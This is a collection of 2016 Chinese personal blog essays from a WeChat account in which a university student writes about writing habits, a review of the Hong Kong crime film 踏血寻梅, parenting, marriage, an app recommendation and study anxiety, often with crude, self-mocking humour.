这个世界上只有那么一小部分的幸运儿，知道自己喜欢做什么，适合做什么，于是 Ta 们可以专注的努力，在自己喜欢的领域里打一场漂亮的持久战。
对于大部分人，也许穷尽一生，都不知道自己喜欢什么，适合什么，但是生命的发展过程不就是一个不停试错的过程吗？只是随着年龄的增长，试错的成本在不断的增加。
我就是那大部分人。
大学专业，不巧被调剂，到现在，我都不知道自己喜欢什么，适合什么。特别是上了大三，随着课程难度的增加，对专业的反感也在与日俱增，翘课后来就像跷二郎腿一样潇洒。
所幸，我发现，我还可以写点文章，试图从中寻找一些改变，抵御内心的荒芜。也算自己试错的过程吧。
说白了，也就写着玩儿。
记录
深夜时分，总有些小情绪一个个冒出来。向好友倾诉，有传播负能量之嫌。发表在社交网络上，看起来你是在无病呻吟。
这个时候，记录就有必要了，哪怕不是为了发表。如果内心有问题，写出来的时候，多半就已经理顺了。
记录也并没有坚持可言，它慢慢已成为我的日常习惯之一。即使是苦逼乏味的日子，串联起来那也是值得感概的故事。
生活之中，平凡的点滴经过整理筛选，你可能会发现意外的惊喜，审视思想的转变。
人们总是倾向于急于捍卫自己的立场。更可怕的是，随着知道越多、经验越多，人对于自己持有的道理也越发自信。
我们并不容易接纳自己不认可的观点，更趋向于接受自己认同的方向并不断强化佐证这一切。而对于那些并不认可的，就巴不得盖棺论定，用一个概念或者结论进行回避或无视。
这应该是一个咬牙接受的事实。因此，我希望在自己写的这些静静流淌地文字中，看到自己思想的转变。
沟通
先解释一个名词。
雅痞：具有优雅的风度，学贯古今的知识，再加上说死人不偿命的口才。简单的说就是
具有强烈文化色彩的痞子男。作为一个心理素质奇差，附带一张吧唧嘴的公鸭嗓先生，你觉我有朝一日能通过写文章进化成一个雅痞吗？
把话说清楚，讲明白，是一种极高的智力体现，是娴熟的语言操控能力，清晰，准确，动感十足，这表明说话者的思维，也如冰一样的冷静。
从这几天的效果来看，我也只是一个键盘侠，说一些漂亮话。回到现实生活中，如往常一样，没有雅，只有痞。还是劝自己小心点吧，我这么臭得瑟，出去社会，没什么好下场的。
多点沟通，少点装逼。就算装逼，也要高贵而又优雅一点，纯痞伤身啊。哪一天，我成了雅痞：信手拈来，妙语连珠——不完美，但真实、耐看。有你们的一份功劳。
有件事不知当讲不当讲
你们还真以为我写文章是为了记录当下，沟通世界？科科，真正的原因是：没有 Xing 生活。不然我哪有时间在这叨逼，早就腻乎去了。
但愿明天，一觉醒来，旁边睡着一个女♀朋友，从此没有时间写文章，过上了安稳的生活，一天只做四件事：一日三餐。
《踏血寻梅》：碎尸援交，源于孤独
2016-05-06 02:11:47污啦啦啦啦啦啦，各位小伙伴大家好呀，欢迎来到庭说公众号（Ting_Talk），这是庭仔的第 5 篇原创随笔。
我的爱好不多：打篮球，听音乐，看海贼王，还有就是闲暇之余，看看电影。今晚看了一部惊悚的犯罪悬疑限制級港产猛片——《踏血寻梅》（首部获得金像奖五项演技奖大满贯的影片），趁着起伏的心情，伴着这部电影的原声带，不如写下我的第 1 篇不专业的影评吧。
再次提醒：这篇影评可能会有剧透！可能会因尺度太大引起不适！小清新们请速速退散！这不是危言耸听！
前情概要
这部片子，根据 2008 年轰动全港的肢解凶杀案改编而成。
王嘉梅，一个 1991 年出生于湖南的姑娘，2005 年随母亲的改嫁移居香港。14 岁来到这里，人生地不熟，又与继父不和，于是她离家出走，最后在外因为欠了数万元的债务，开始援助交际。结果，遇上了一个心理变态的客人，被他杀害后分尸。
凶手分尸后，将受害者的遗体剁成肉块，遗弃在附近的菜市场里，被猪肉铺冒充猪骨出售给顾客回家熬汤，等其被抓时已被售出。这在当时香港造成极大的恐慌，让很多人联想起多年前的雨夜屠夫、人肉叉烧包等骇人听闻的案件。
但是本片没有贩卖这个血腥、噱头的故事。一开头就告诉了你凶杀，所以可以说这是一部没有任何悬疑的悬疑片。更多是刻画了人性。
我的生理感受
说到限制级，当然少不了本片那些露点的情色片段啦。作为一个发育成熟，血气方刚的老男孩，一开始看到那些羞羞的镜头，身体还是很诚实的。但是，短暂的微勃，稍纵即逝。此后的少儿不宜，再也没能激发我荷尔蒙的分泌，动都没动一下。
倒不是感觉身体被掏空，只是我对剧情实在太入神了。那真实到窒息的情节，深深地引起了我上半身的思考，这时的下半身也只是支撑起我的上半身罢了。此时，唯有不举，才能高举那一份深入骨髓的孤独。
大胆的性爱场面只是揭露了这个「爱无能」的时代，性来得容易，爱来得困难。
我的心理感受
影片很简单，就三个人：一个援交少女（王佳梅）、一个变态屠夫（丁子聪）和一个孤独警探（臧 Sir）。
佳梅渴望安稳静好的简单日子，但从内地来到香港，她被困在看不见风景的房子，家陡四壁。对未来的憧憬被狠狠压碎，身处社会低下层，无法融入这座城市，看不到自由选择的可能。
除了警探郭富城，其他两位角色都是新影蛋子。他们没有令人拍案惊奇的外表，但就是这种平凡，令观众觉得他们真的是被现实社会遗忘。
由此，刻画成两颗孤独心灵萍水相逢的惺惺相惜，一种同是天涯沦落人的即视感。在无爱的世界以肉体交换片刻欢愉之后，当共鸣被无限放大的时候，一个错步就转入了最冷酷血腥的肢解过程。
为什么要杀人?
一是：子聪说，他喜欢佳梅，所以不想让她做人，因此也撕掉了她的面皮。皮囊之下，仅是泥胎木偶，宛如行尸走肉。
二是：也解脱了佳梅的心魔。佳梅信教，按照宗教教义，佳梅深信自杀会堕入地狱。于是子聪便成了佳梅亲自选定的救赎者，子聪也不惜搭上一条性命来帮她解脱那绝望厌世的无力感。
只有内心慰藉，方能补完生活的边缘人。不知这是上天的玩笑，还是注定。
生活还是要有奔头的
不管你有没有意识到生命的苦乐参半，能来到世间，都是一件格外值得庆幸的事情。当我在向你揭露现实的残酷的同时，希望你也能保持对生活热情。这就是所谓的苦乐参半。
允许自己的孩子在有规矩的前提下，没出息
2016-05-12 02:03:07罗胖曰（yuē）：好母亲，就像好国家。允许自己的孩子和公民——在有规矩的前提下，没出息。今天就关于这句话，试着写一篇小而美的短文吧。
关注母婴育儿
平常我有一个爱好，就是挖掘一些优质原创的公众号，满足自己猎奇的心理，顺便看能不能开拓一下自己的视野。到现在，已经关注了 428 个公众号了。不过很大一部分我都取消「接收消息」了，需要的时候，查看历史消息即可。
说来也奇怪，不知从何时起，我开始对母婴育儿类的公众号特别感兴趣，关注了不少。变态吧，一个乳臭未干的老男孩，不去吃饭睡觉，整天看这些玩意，到底有何居心？
可能当时觉得养一个孩子挺有趣，也挺费心吧，所以趁现在有这闲情雅致储备一点育儿知识，日后给孩子换个尿布什么的，也不致于手忙脚乱。正所谓「艺高人胆大，技多不压身」。
可能是缺爱
上面应该都是表象的原因，关注本该不是这个年龄，不是这个性别该关注的东西，深层次的原因到底是什么？百思不得其解，我想可能是缺爱吧。
小时候，爸妈 7 个孩子照顾不过来，作为老幺的我就经常被扔在隔壁村的外婆家（走路大概 15 分钟吧），所幸，爸爸也经常回外婆家吃住陪我。到了四年级，我就开始在外寄宿读书了。至今，回想起来，和爸妈相处的时间不多，特别是童年，都没怎么和爸妈一起玩耍过。
只记得爸妈特别忙，起早贪黑的干活。
天真如我，爸妈要是不拼命干活，我早就活活饿死了，哪有现在借此良宵，写下对生活的点点滴滴。感谢爸妈！缺爱，就需要补钙，让自己从骨子里坚强。
有规矩
天真如我生了个孩子，一定不会让 Ta 缺爱。不然 Ta 也可能会像我一样，神神叨叨，疯疯癫癫，毫无节操。我不会要求 Ta 太多，健康、快乐、保持好奇心以及有规矩，就足矣。毕竟「没有规矩，不成方圆」。
没出息
我的孩子也不用像我一样故作坚强。要让 Ta 感觉人生在有规矩（不影响 Ta 人和社会）的前提下很轻松，甚至没出息。没有给 Ta 人和社会添乱，就已经难能可贵了，再逼 Ta 有出息，还要不要社会和谐了。
说了那么多，还得我这个父亲有出息，不然我哪来的孩子让 Ta 没出息呢？正如咪蒙所言：我们得成功点，才敢让孩子可以不成功。
写到这里，突然想到自己还没有女朋友，顿时啪的一声给自己一个耳光：妈的，大半夜写点东西还分心。
合久必婚，食来孕转
2016-05-23 01:18:37前几天得知一位高中同学（代号 S）已经怀孕好几个月了，预产期是 11 月 13 日。趁着八卦的小情绪还没完全消散，嘴也痒痒了，就说点啥子吧。
先说一位小学 Z 同学
都说农村的孩子早当家，作为同龄人，温柔好看会做饭的 Z 已经是 3 个孩子的妈妈了，而我还是一介老处。Z 的老公家距离娘家也不远，所以两头都能照顾到，嫁得好不如嫁得近啊。
当我放假回家了，不时会看到这样一幅场景：夕阳西下，左手牵一个老大，右手拉一个老二，背上再来一个老三，嬉嬉闹闹，蹦蹦跳跳，洋溢着一片祥和幸福，洒满走过的乡间小道。
Z 对这种生活也比较满意，乐在其中，至少我在 Z 的眼里看不到 Z 对生活的无奈和无趣。也许最成功的女人是相夫有道，教子有方。
再谈这位高中 S 同学
在我印象中，S 不是特别爱学习，喜欢看《读者》、《意林》之类的文摘杂志。但 S 又不是那种文艺的小清新，倒像一个没心没肺的乐天派，酷爱自拍和零食，疙疙瘩瘩地吃个不停（注意这个特点），没有太多的愁苦，乐哈乐哈地过着自己的小日子。
平胸而论，虽然我给她取的代号是 S，但她的身材一点也不 S。但她平胸或许有一个好处，就是心地比较善良，因为这样比较容易摸到自己的良心。
我怎么也想不通，S 会这么早就怀孕了。
当 S 跟我吐露说，她的老公是她的青梅竹马，S 又是一个小吃货，一切似乎都通透了。合久必婚，食来孕转。
不过我还有一点想不通。这假小子，可以啊！藏男人的技术不是一般高啊。在高中，我可完全找不她有恋爱的痕迹啊，真可谓是手法自然。
祝她幸福！
最后看看我自己
千万别想歪了，我不是说我也怀孕了，或者我把别人肚子搞大了，我哪有这么大的本事啊。我主要是想借机说说我当前不成熟的婚恋观。
没想到还没到结婚的年龄，我就已经开始恐婚了。倒不是因为感情的挫折，让我萌生了这么可怕的想法。
我是觉得吧，这婚一结，人生就像按了快进键一样，蹭蹭地呼啸而来：备孕、生子、育儿、小学、中学、大学……想想都毛骨悚然。结婚之前，要是混得不好，再加上房子，车子，也是够呛的。
由于我心中始终保有对世界的好奇心，这让我可以一直在这个世界上快乐地游荡。一旦有了婚姻，一吨吨的责任和压力就不可抵挡来了，那我还怎么在这个世界愉快地装逼啊，更别谈有这闲情指点江山，激扬文字了。
母上大人跟我说：“人生迟早要经历这个过程，你就听听妈妈的话，有合适的先谈着”。我笑而不语。
你现在知道我的想法有多恶心吧？不骗你，我妈怀我的时候都吐了！
洋洋洒洒说了芥末多，结不结婚，这两句话都送给你们：做爱做的事，交配交的人。
若批评不自由，则赞美无意义
2016-05-26 02:12:51从这篇文章开始，各位读者就可以在文末写评论了。终于可以光明正大地批斗我了，想想是不是有点小激动？
题材不限
如果你受够了我一本正经地无病呻吟，并且给你们带来了不可挽回的精神污染。或者，如果生活欺骗了你，还强奸了你，发朋友圈又太矫情。亦或，如果你想给我生猴子（男宾止步，请自重！）；那就直接滑到文末向我开炮吧。
分享彼此
你也可以在评论区告诉我，你比较喜欢我写什么东西。更有甚者，在后台向我说出你的故事。世界上不缺好故事，缺的是会讲故事的人。
寻找共鸣
忙起来你可能觉得什么都不缺，空下来才知道你什么都没有。一念及此，你还好吗？就像鲁迅说的：我爱子君，仗着她逃出这寂静和空虚。我也仗着庭说和你们。若批评不自由，则赞美无意义。
我们除了繁衍以外， 还有别的很多事情要干
2016-06-15 22:18:00刚刚我从床上蹦跶起来，因为我再也受不了这烦乱的大脑，决定写出来，希望能改善这段时间的午休失眠吧。
满纸荒唐言，一把辛酸泪
在鸡汤女王——咪蒙，还没红透之前，我已经是她的铁杆粉，她的每一篇文章我都有一种如获至宝的感觉，百看不厌。可是好景不长，渐渐地，我竟厌倦了她的文字。
Why？可能当时我被她迷蒙了双眼，也可能我鸡汤已经喝腻了，营养过剩，蛋白质中毒了。所以“接受消息”惨遭毒手，但又不忍取关，毕竟她曾经在我迷茫的时候按摩过我的心灵。
回过头看，有些不过是满纸荒唐言。杭州城西野生仁波切说：
最近我才发现心灵鸡汤的终极奥义：因为大多数人都愿意在不需要人生历练和深入思考的前提下获得无病呻吟的感慨，所以各种人生导师和正能量语录才会有如此旺盛的市场。
有些挚爱的亲友经常在朋友圈里给 Ta 们的心灵做大保健，一言不合就熬鸡汤，喜欢给自己加油，还喜欢给别人加油。天气那么好，不如发个朋友圈吧。天气那么差，也不如发个朋友圈吧。
但是我又不能屏蔽 Ta 们，毕竟曾经帮助过我。所以我会时不时在 Ta 们鸡汤味没那么浓的朋友圈里（自拍是标配），偷偷地在评论区带上我颜论自由的问候：你是从几岁开始这么漂亮的？
其实，那时我的心里早已污云密布：我们除了繁衍以外，还有别的很多事情要干。
保护环境，请勿过度自拍。
我深知不能干涉人家的言（颜）论自由，因为我言（颜）论自由起来，我连自己都怕！这叫什么？事儿逼。
我的嘴巴会间歇性地发出恶臭，听了我的臭话之后，你们的心里就像吞了苍蝇一样，恶心的不行。
要是我有一颗纯洁无污染的心灵那该多好呀，净化自己，净化朋友圈。想得美！
说罢，一把辛酸泪，空留而下。
女生二十一枝花，小生二十豆腐渣
既然鸡汤失去了功效，已经不能麻痹我的心灵，现实的烦恼也就接踵而至了。这几天我在烦恼着怎么做简历，准备真正离开大学的芳草地，在暑假找个好实习。为什么叫真正离开呢？因为以前寒暑假我找的兼职都是与专业无关的餐饮行业。为什么选择餐饮行业呢？因为包吃。
这次的选择又是什么呢？纠结了很久，傻乎乎地写下了下面这个岗位，再次与专业无关。
花了一天时间填写我的简历，到最后，还是和脑壳一样，空荡荡的。网上搜索了挺多，关于大学生如何在一无是处的情况下充实自己的简历，发现这只是取巧用话术欺骗 HR，心不慌吗？
最坏的结果是，我离开了大学的芳草地，没找到合适的实习，却回到了故乡的芳草地，放起了牛，不过这次总算和专业相关了，我小时候可是专业的放牛娃呢。
告别「野蛮生长」，走向「适者生存」
大学里焦迷而又闲适的光阴剩下不多了，我却还没准备好，出去社会，赴一场厮杀。你呢？欢迎友心人在评论区给我指点迷津。以上所言，何尝又不是满屏荒唐言呢。
给自己定个小目标：每天写点东西
2016-09-21 23:00:53秋风来了，「庭说」也开始不安分了。讲真，我已经为这次重逢彩排了无数次的开场白。事不宜迟，回到正题。
得不到的永远在骚动
话说在公元 2016 年 4 月 28 日晚，凉风有信，春月无边，亏我思娇的情绪好比度日如年。
我突然感到体内袭来一股渴望表达的洪荒之力，于是奋笔疾书，激扬文字，写下了「庭说」的第一篇文章。
王尔德曾说过：「作品一半是作者写的，一半是读者写的。」只有在被读者阅读、评论之后，一篇文章才算真正完成。所以，为了让文章更加完整，满足读者在评论区畅所欲言的愿望，就必须获得公众号的评论功能。
天道酬勤，「庭说」一个月后终于获得了评论功能（还附送了赞赏功能）。至此，我基本已获得「个人公众号」的全部功能。不能不说不激动，那一晚我兴奋地好似祖逖，都想闻鸡起舞，再敲上五千字。
事与愿违。一觉醒来，那种一开始兴致勃勃的写作热情竟已经消散殆尽。也许因为这一切来得太快，太容易了。心亦生芥蒂。我前面写的这些都是啥玩意，难道不像文字垃圾的搬运工吗？堆砌辞藻，内容空泛，纯粹是为了骗取公众平台的「评论功能」。
一念及此，我就不敢把写好的文章推送出去。当表达的欲望满足了，虚幻的使命达到了，内心就不会那么骚动了。
大部分人一开始都写不好
经过了这两个多月的心理斗争之后，我决定重新执笔，续写我和这个世界的故事。
可是，写一篇阅读顺畅、对别人有帮助有启发的文章会是一次漫长而痛苦的自我挣扎，大概有 30% 的精力花在构思内容上，剩下 70% 的精力花在自我怀疑和自我否定上。对于像我这种自恋的人而言，后者的比例可能在 95% 以上。
当文章推送出去，面对公众的时候，内心的感觉也会完全不同。你会面临根本无人点击的压力，然后是有人批评的压力，最后是长期无人问津的压力。
又可是，大部分人一开始都写不好，要么一开始连个标题都想不出来，要么写两段之后就不知道如何继续下去了（比如这篇文章我就花了一个多月的时间）。承认这一点是一个良好的开端。所以，请接受一开始不可能写好的这个设定，不要用文章好坏来给自己施加心理压力。
以上的话是一个叫「和菜头」的人告诉我的。
写作是一种自我成长的方式
认识我的人都知道我白天实在太「活泼」了。每到夜里，还是逼自己写点东西，沉思沉思，反省反省：比如「明天吃什么好呢？」
毋庸置疑，这反躬自问的效果杠杠的：成功给自己增肥到 130。虽然我有三七开的大长腿，但胖成这样，还怎么撩妹😞？不恶心你们了。
**反省一：居功自傲。**盲目夸大自己在团队中的贡献，目空一切，我的功劳就是比你大，一副此荣誉舍我其谁的高调架势。试试先关注同伴的努力？
**反省二：严以待人。**对他人太苛刻，总是以自己的标准斥责别人。显微镜下看世界，任谁都难以合格。横加指责，不如多一份理解。
**反省三：宽以律己。**对自己又太纵容。1 点睡，8 点起；每日英语口语训练；每晚锻炼身体半小时……这些小目标都三天打鱼两天晒网去了，时而执行，时而松懈。最可恶的是，连每天照 10 次镜子这么简单的任务都完成不了。拖出去，浸猪笼，反省冷静一下！
在没有外界的触动和发自内心的觉醒，要坚持一件事情其实是挺难的。而写作，可能是一种较好的自我成长方式。把写作当成了一种乐趣，用于记录自己的生活和想法，同时把写作作为一种帮助思考的方式，在写作的过程里完成了理清思路的工作。你别说，这还真有点效果。不信你也试试每晚写点东西，发不发出来无所谓，但是自己的心境会悄悄地发生改变，多少对自己的执行力还是有提高的。
坚持认真做一件事，时间看得见
然，于我，一个性情乖戾，尖酸刻薄的牛氓，不管写的是心灵鸡汤还是心灵硫酸，反正也就这手指头都数得清的阅读量。但是在寻找自我的迷茫期，我希望留下点什么轨迹。光说不练假把式。先定一个能达到的小目标吧：坚持每日写半个钟，试试能不能周更吧。慢几步，深几度。
即刻 App - 不再错过你感兴趣的资讯
2016-10-09 23:16:53庭说的前 10 篇，写的都是些鸡零狗碎的随笔杂文。**好东西值得分享，**这次来点特别的，安利一个精致好玩的 App：即刻（2019 年 7 月 12 日，即刻宣布“技术升级”）。
一句话介绍：这个 App 能让你订阅未来发生的事情。 闲话少叙，言归正传。
你关心的，即刻告诉你
信息过载的今天，获取有效资讯正变得越来越累。你每天会关注很多信息，但它们却分布在各个角落，所以你的手机里可能装满了各类 App：
- 微信
- 微博
- 知乎
- 豆瓣
- 浏览器
- 今日头条
- 一点资讯
- 搜狐新闻
- 腾讯新闻
- 凤凰新闻
- ONE · 一个
- ......
当微信公众号的内容越来越没看头了，小红点点越攒越多，看着那一堆小红点是不是感到闹心巴拉的，甚者产生信息恐慌症。而微博又像一个热闹的步行街，你可能刷半小时都未必看得到你感兴趣的东西，你只是在做「刷」这个动作。今日头条呢，虽说是个性化推荐，但一旦你看过一些少儿不宜的内容，它就会一个劲推荐质量低下的内容给你，只能保证文章内容，而无法保证文章的质量。
但也许，获取信息不应该这么复杂。不妨换一种轻盈、高效、省心的方式，与你感兴趣的信息相遇。复杂的世界，一个即刻 App 就够。
这是一款基于兴趣的极简信息推送工具，通过机器抓取和人工审核的方式，跟踪你感兴趣的人物、资讯、事件的相应动态，让你轻松、高效、及时地获取自己关心的优质信息。
在「即刻」中，信息以「话题」的形式被重新排列：
- 知乎今日最热
- 广州美食指南
- 大学生实习资讯
- 校园招聘最新资讯
- 研究生考试重要动态
- NBA 常规赛每日战况
- 今天微博都在热议什么
- 热门影视网站更新提醒
- 英雄联盟职业联赛战报
- YouTube 每日最火视频
- ......
一件需要不断关注进展的事件，一个广受欢迎的兴趣话题，一个小众但值得推荐的内容，都可能成为主题。即刻 App 所做的就是，帮你降低信息噪音和筛选成本，精选优质内容源，整合碎片化信息，让你得到最好的信息服务。有些事，错过了就不再；太多的事，让我们迷失。如果一切都井井有条，那么生活，都尽在掌握。要是你现在已经迫不及待想尝尝鲜，来不及看下文更详细的介绍，那就来个痛快，直接长按二维码下载吧。「即刻」开始，只看你想看。
中央厨房，新闻大餐
快给你的新闻洗洗澡吧。
一觉醒来世界发生了什么每日国际视野Breaking News一张图读懂新闻一张图懂最新政策视频新闻资讯精选......打击假新闻和不靠谱新闻对人贩的法律量刑调整杨永信受到法律制裁提醒......《Pokémon Go》中国区上架提醒热门手游推荐任天堂平台出新游戏有新的宠物小精灵之歌IGN 有 9 分以上新游戏《超级马里奥 Run》游戏上线提醒.....实习校招，一网打尽
给你的大学更多选择。
广州大学生实习资讯 研究生考试重要动态......校园招聘最新资讯你为什么从 XX 离职听圈内人讲行业内幕知乎「职人介绍所」节目更新......大学生社会实践资讯广州受欢迎的文艺活动提醒有新的 Gap Year 旅行、打工、志愿者项目......日常窍门，生活百科
生活可以将就，生活也可以讲究。
工作日闹钟设置提醒 今天是周五么 节日送礼提醒时令水果上市提醒国务院法定节假日安排......广州美食指南「日食记」新视频豆果美食菜谱精选有态度的饮食文字企鹅吃喝指南精选「美食台」每日视频......健身减肥提醒助手健身干货跑步指南 食物营养科普 瘦身菜谱推荐素食生活指南 每天练一点瑜伽减肥逆袭励志贴推荐Keep 又新的健身指南......为什么我要列这么多相关主题出来，为了表明我健身减肥的决心。
丁香医生又有新的辟谣女性健康科普一张图读懂医学小知识HPV 疫苗内地上市提醒丁香医生头条科普文章精选......拍照技巧精选高晓松自拍提醒Photoshop 小技巧摄影博客 1416 教室有更新......谈谈性说说爱类似主题还有全球同志新闻名人出柜提醒《男人装》精选同性题材电影推荐菠菜有新的情感问答杜蕾斯「无码问答」更新提醒......趣味互联网生活
给无趣的生活加点料吧。
热门网络新梗第一时间普及有新的热门表情包傅园慧新动态宋民国有新表情中老年人网络聊天表情精选KUMAMOM 熊本熊萌图推荐......今天有什么好笑的内涵段子日式冷吐槽这个配图很到位朋友圈点开全文......无用但有趣的冷知识猫咪百科生活小姿势十万个为什么腹黑音乐冷知识TED-Ed 科普动画《飞碟冷知识》有更新......豆瓣每日广播精选豆瓣热帖精选豆瓣每日荐书豆瓣八组热帖传送 有趣的豆瓣线上活动豆瓣美妆护肤穿搭帖推荐......当天转发最多微博今天微博都在热议什么这些微博的评论更好看最好看的八卦都在这里明星大 V 秒删微博提醒微博搞笑排行榜每日话题......睡前一张美女图睡前恐怖故事......视觉盛宴，不容错过
有货有料，满足你的眼球。
有豆瓣 8.0 分以上的新电影豆瓣一周热门影视这些影评比电影好看 有豆瓣 9.0 分以上的新电视剧豆瓣最新高口碑非院线电影推荐......热门影视网更新资源提醒B.C. & Lowy 字幕组更新提醒......值得一看的短视频推荐B 站今日最热「一条」有新视频开眼每日视频推荐暴走漫画最新视频作品AcFun 日排行冠军视频Vhiphop 每日街舞视频推荐YouTube 每日最火视频（免翻墙）......上一篇文章，部分读者反应内容太纯洁，下面这些主题带你打开新世界：
DMM 月度女优销量排行榜阑夕又有新的女演员点评……鲜活科技，独特视角
让科技更性感。
Google 重返中国进展每日 iOS 限免 App 精选 Mac App 限免及优惠精选有新的热门 iOS 应用冰点促销......AppSo 有新的应用推荐和手机技巧分享儿童应用推荐豌豆荚设计奖小众软件推荐安卓 App 精品推荐「最美应用」每日最美......干净阅读，舒适精深
要么读书，要么旅行，身体和灵魂总有一个在路上。
果壳精选ONE · 一个韩寒有新文章推荐......知乎今日最热知乎圆桌精选知乎热门钓鱼贴知乎亲自答系列知乎日报内容精选XX 是怎样一种体验......「王五四」最新公众号文章小道消息有更新槽边往事有更新老金扯淡有更新「可能吧」有新文章公众号「夜航船」更新提醒......值得一看的长文章 腾讯大家文章精选连岳有新的长文章女权话题长文章选送Longform 推荐了新的长文章经典短篇阅读推荐......图书网购折扣优惠航空优惠Uber 优惠折扣优惠精选 天猫大牌折扣活动有什么好东西值得买屈臣式折扣优惠精选宜家有新品和折扣提醒......在体育界，我可是铁杆「球」迷
运动生产快乐，分享激情时刻。
NBA 每日十佳球NBA 每日十佳球NBA 主帅变动提醒洛杉矶湖人赢球提醒NBA 常规赛每日战况NBA 每日最佳变现球员第二天有值得看的 NBA 比赛......足球技巧精选广州恒大新闻AC 米兰赢球提醒中国足球改革提醒 每日涨姿势足球好文今天有值得看的足球比赛每日足球的热点解读和神评论......英雄联盟国服有新皮肤上架英雄联盟职业联赛战报《Miss 排位日记》更新提醒英雄联盟 EDG 战队动态提醒英雄联盟解说小智有视频更新......一边听音乐，一边看资讯
和音乐在一起，聆听更多。
晚安歌曲腹黑音乐冷知识重回音乐经典时代网易云音乐新歌榜有新的全民洗脑神曲华语歌坛黄金时代老歌欣赏每周欧美歌曲 TOP 10 排名......一天一句歌词每日一首提神歌曲每天一首指弹吉他曲每日一首小语种歌曲......李荣浩有新歌许嵩出新歌了周杰伦最新消息五月天最新消息Taykor Swift 新资讯许巍有新的音乐作品Bruno Mars 新歌提醒 ......使用小贴士
- 桌面视频：看视频时点击右上角，视频就会悬浮在桌面上啦。
- 稍后阅读：点击那个红心 ❤，这条信息就被你收藏了。可能当时看到一半，被打断，不是在 WiFi 环境下，收藏备用，温故而知新。即把「喜欢」当成「Read it later」。
- 小秘书：当你搜索界面中输入关键词，例如喜欢的某个导演、偶像、球队 ......却无法寻找到对口的触发主题时，试试向「小秘书」反应反应吧。一个小众但值得推荐的内容，都可能成为主题。说不定，在不远的未来，你可以在即刻里关注的「公众号「庭说」更新提醒」的话题呢，虽然是不定期更新。
在爆炸且速朽的资讯洪流之中，通过甄选入驻站点和人工审核推荐，提炼高水准的优质资讯，这恰好是一款「信息过载年代的纯净阅读」。现在你可以卸载那些臃肿的 App，阅读原文，即刻下载，之后选择感兴趣的主题，剩下的一切就交给「即刻」 吧：用最懒的方式，看你喜欢的新闻资讯和有趣内容。即刻，期待每一次推送
站住，我那无处安放的青春
2016-12-01 10:34:51昨晚我又失眠了，3 点多才睡。很烦自己，睡个觉还分心。一想到自己明天早上一睁眼就已经是 11 点了，就辗转反侧。这样的生活是不是太奢腐了。
早起写作
我得做点什么，改变这个现状。
再定一个小目标吧：每天 7:56 起，写一篇短文。如果早上要上课 & 外出，就推迟到晚上写。在「庭说」里，安放好焦躁不安的青春，再开始 & 结束一天的生活。
快速写作
不仅要写得早，还要写得快。一个小时内快速成文，这样做的原因有三：
热爱文字
从高中开始，我就有一个小本子，里面摘录了我喜欢的好词好句。时代发展，科技进步，现在变成了手机里的备忘录。可见，我心中那一把热爱文字的火，还没有熄灭。为了让火势更猛烈些，不辜负这一份热爱，当让不能再这样慢吞吞地写下去了。
限时写作
以前写一篇文章，要花大量的时间修修改改，缝缝补补：
- 这句话是不是有点多余
- 这个标点符号是不是用错了
- 这个段前距会不会太紧了
- 这个颜色会不会太刺眼了
- ……
所以一篇文章不是用一整块时间一气呵成的，这样就会造成情绪上的不连续，感情基调更是难以捉摸，最后产出的文章可能就是四不像，充满堆砌词藻的痕迹。试试在一个小时之内，把握写作的节奏，让文章一蹴而就。
回归写作
深知，每一个读者的关注都来之不易。读者越多，我就写得越谨慎，生怕吓跑读者们。不可避免，每一次推文都会有读者取消关注，心里也不免有小情绪。放下吧，你写作的目的是寻找志同道合的那一伙人，不是你的菜， Ta 终究会离去。
但是当下的心情和感悟，离去了就不再回来，而朋友圈只能写 1500 字。再说了，把这么大段没有排版的文字贴在朋友圈，这是对圈友眼睛的一种伤害。那就写在自己的公众号上，也能让更多不认识的读者看到我的文字，以及所输出的价值观。不一定正确，写作本来就是主观的。
站住，我那无处安放的青春
心里的话，不吐不快。接下来我也不知道会写出什么鬼来，不如先做好大面积取关的心理准备吧。青春难留，文字常青，或许写作，才是我起床的源动力。
我是如何沦为学习焦虑症患者的
2016-12-02 13:16:05被窝这个妖艳贱货，今天早上我又都差点被她勾引了。Stop，今天谈谈我的学习焦虑症。
厌学
我当初填报的大学志愿是「商务英语」，想成为一个健谈的外交达人（不要问我这是什么体位）。皇天不负有心人，我被调剂到工科电气系。这可把我父亲乐坏了，因为他从事电气行业几十年了。三年过去了，怎料专业知识没增加多少，厌学的情绪反倒增加了不少。
弃娱
从小都是爱学习的好孩子，一下子不学习，那感觉真的是爽爆了。玩过一阵之后，没有了学习的依托，精神世界便开始空虚无聊。荒废学业的阴影，始终让心里感觉不踏实。既然学业不感兴趣，那就学点感兴趣的东西，充实一下这操蛋的大学生活：
- 连续剧不能煲，特别是美剧英剧，想看不能看，一旦上瘾，太耗时间。
- 游戏也要杜绝，三五好友，团战厮杀，偶尔为之，尚可尚可。
- 主要的娱乐活动就剩下看电影和打篮球了。
- 一部电影一般就两个小时，没有连续剧那么占时间。
- 打篮球是健身，必不可少，身体可是我们用来享受世界的唯一工具。
学啥
时间被挤出来了，就要开始动工学习感兴趣的课外知识了，缓解缓解不学习专业带来的焦虑感。
- 学 PPT 设计：刚开始发现 PPT 挺好玩的，还可以当作一款轻量级的制图工具，比如推文封面。
- 学 PS 设计：学到一半就夭折了，下载的教学视频还躺在硬盘里。
- 学母婴知识：养一个孩子多不容易，合格奶爸并非一朝一夕。
- 学两性知识：咳咳，笔名「庭勃士」。
- 学汽车知识：合格的老司机，要懂汽车的方方面面。
- 学翻墙：科学上网，墙外的世界很精彩。
- 学数码：怎么把手机和电脑变得更好用。
- 学写作：羡慕文笔好的人，不妨自己也尝试一下。
- 学......
以上的学，准确说是玩，略懂一二。
焦虑
没想到自己的兴趣可以被开发得这么广泛，世界犹如一本百科全书，什么都不想落下，勃起的好奇心从来不会疲软。但是焦虑也随之而来。很多想学的被搁置，更多想学的蜂拥而至。现在你知道我为什么年纪轻轻，却白发苍苍了吧：想太多。没错，好奇心强奸了我的兴趣。
优化
兴趣无限，时间有限。对自我和时间的管理早已是一门学问，曾研究过 GTD 行为管理法，番茄工作法，却迟迟没有践行。昨天鼓起勇气，踏出优化时间的第一步：早睡早起。早起今天是做到了，然而说好的限时写作却严重超时了。一念及此，我更焦虑了。如果写作像长胖一样容易，那该多好呀。
肚子没墨，写字不牢
2016-12-04 22:53:24跟你说个事：要不「庭说」改为周更好了
莫忘初衷
几天前的深夜，心乱如麻婆豆腐，糜烂的大学生活，让我感到青春的彷徨，觉得自己一无是处。一拍脑子，不如逼自己早起写写东西，找回那努力到感动自己的假象。于是夸下海口，坦言日更，并公之于众，切断退路。如今初衷达到了：早起开始有动力。
